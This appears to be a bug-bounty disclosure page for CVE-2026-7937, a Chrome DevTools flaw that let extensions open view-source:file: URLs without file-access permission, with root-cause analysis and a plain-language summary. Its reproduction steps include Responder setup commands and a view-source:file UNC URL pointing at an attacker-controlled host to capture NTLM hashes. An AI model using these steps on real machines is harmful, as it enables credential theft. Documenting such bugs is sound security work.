Insufficient policy enforcement in DevTools (CVE-2026-7937)
A malicious Chrome extension could use the DevTools Page.navigate command to open view-source:file: URLs without the user granting file URL access. On Windows, this allowed an attacker to leak NTLM hashes via a UNC path.
- Fix shipped in 56 days
VULNERABILITY DETAILS
Summary
A malicious extension can use the chrome.debugger.sendCommand API with the Page.navigate CDP command to navigate to view-source:file: URLs without the user enabling Allow access to file URLs. On Windows, this can be exploited using a UNC path to leak NTLM hashes to an attacker-controlled server.
Attack Preconditions
The victim installs a malicious extension provided by the attacker, or a legitimate extension has a vulnerability that allows an attacker to control the URL passed to the Page.navigate CDP command.
Impact Analysis
On Windows, the attacker can set up a server to capture NTLM hashes leaked via a view-source:file: URL using a UNC path, similar to bugs like Issue 391114799 and Issue 40060207. After acquiring the NTLM hashes, the attacker can perform offline cracking or use them with other techniques to gain access to Active Directory-based networks.
On macOS and Linux, the impact might be limited since I couldn't find a way to leak the page content of a view-source:file: URL without file URL access permissions.
Bisect and Root Cause Analysis
Unlike IsFileUrl, which correctly checks for view-source: URLs and unwraps them to check the inner URL's scheme, PageHandler::Navigate doesn't unwrap view-source: URL to check the inner URL's scheme. This allows view-source:file: URLs to be navigated to without file URL access permission:
if (gurl.SchemeIsFile() && !may_read_local_files_) {
callback->sendFailure(
Response::ServerError("Navigating to local URL is not allowed"));
return;
}
The check for file URLs was introduced in this commit:
https://source.chromium.org/chromium/chromium/src/+/925a1926434ee8e71b7adac47989df27e64b69d6
VERSION
Chrome Version: 145.0.7632.76 stable
Operating System: Linux, Mac, Windows
This vulnerability is also present in Chrome 147.0.7727.0 canary.
REPRODUCTION CASE
-
Set up Responder for catching NTLM hashes. The server can be set up with the installation guide provided in the repository or set up with Docker as follows (make sure to replace
<INTERFACE>with the actual network interface you want to listen on):Shell docker run --rm -ti --network host kalilinux/kali-rolling # Inside the container apt update && apt install -y responder responder -v -I <INTERFACE> -
Create a directory structure like this with the attached file:
poc ├── background.js └── manifest.json -
Replace
<YOUR IP>inbackground.jswith the actual IP address of your machine where Responder is running. -
Load the extension in Chrome by navigating to
chrome://extensions, enablingDeveloper mode, and clickingLoad unpacked. Select thepocdirectory. -
Disable the
Allow access to file URLsoption for the extension inchrome://extensionsto make sure the PoC is running without the permission. -
After disabling the permission, the
background.jsscript should reload and usechrome.debugger.sendCommandAPI withPage.navigateCDP command to navigate to theview-source:file:////<YOUR IP>/leakURL. -
Even though the extension doesn't have the permission to access file URLs,
Page.navigateshould still successfully navigate the tab to theview-source:file:URL. -
You should see the NTLM hashes being captured in the console output of Responder.
Note: To simply prove that navigation to
view-source:file:URLs works without file URL access, instead of using UNC path, you can updateTARGET_URLinbackground.jsto use something likeview-source:file:///etc/hostson Linux/macOS orview-source:file:///C:/Windows/System32/drivers/etc/hostson Windows to see if the URL can be loaded without file URL access permissions. The reproduction steps above are specifically for demonstrating the NTLM hash leak on Windows.
CREDIT INFORMATION
Reporter credit: lebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
On Windows, an attacker could capture NTLM hashes for offline cracking or further attacks on Active Directory networks; on macOS and Linux the impact might be limited because page content could not be leaked without file URL access.
What the attacker needed
Victim installs a malicious extension; or a vulnerable extension lets attacker control the URL; Windows target for NTLM leak; attacker-controlled server for capture
How it was found
- Set up Responder to capture NTLM hashes.
- Create an extension with a background script and manifest.
- Replace the placeholder IP in the background script with the Responder host.
- Load the unpacked extension in Chrome.
- Disable the Allow access to file URLs option for the extension.
- The background script uses Page.navigate to open a view-source:file: URL with a UNC path, and Responder captures the hashes.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Chrome extensions normally need a special permission to read local files. The DevTools navigation command checked for file URLs but did not unwrap a view-source: prefix, so an extension could still reach local files. On Windows, pointing such a URL at a network share made the machine send a password hash to the attacker.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.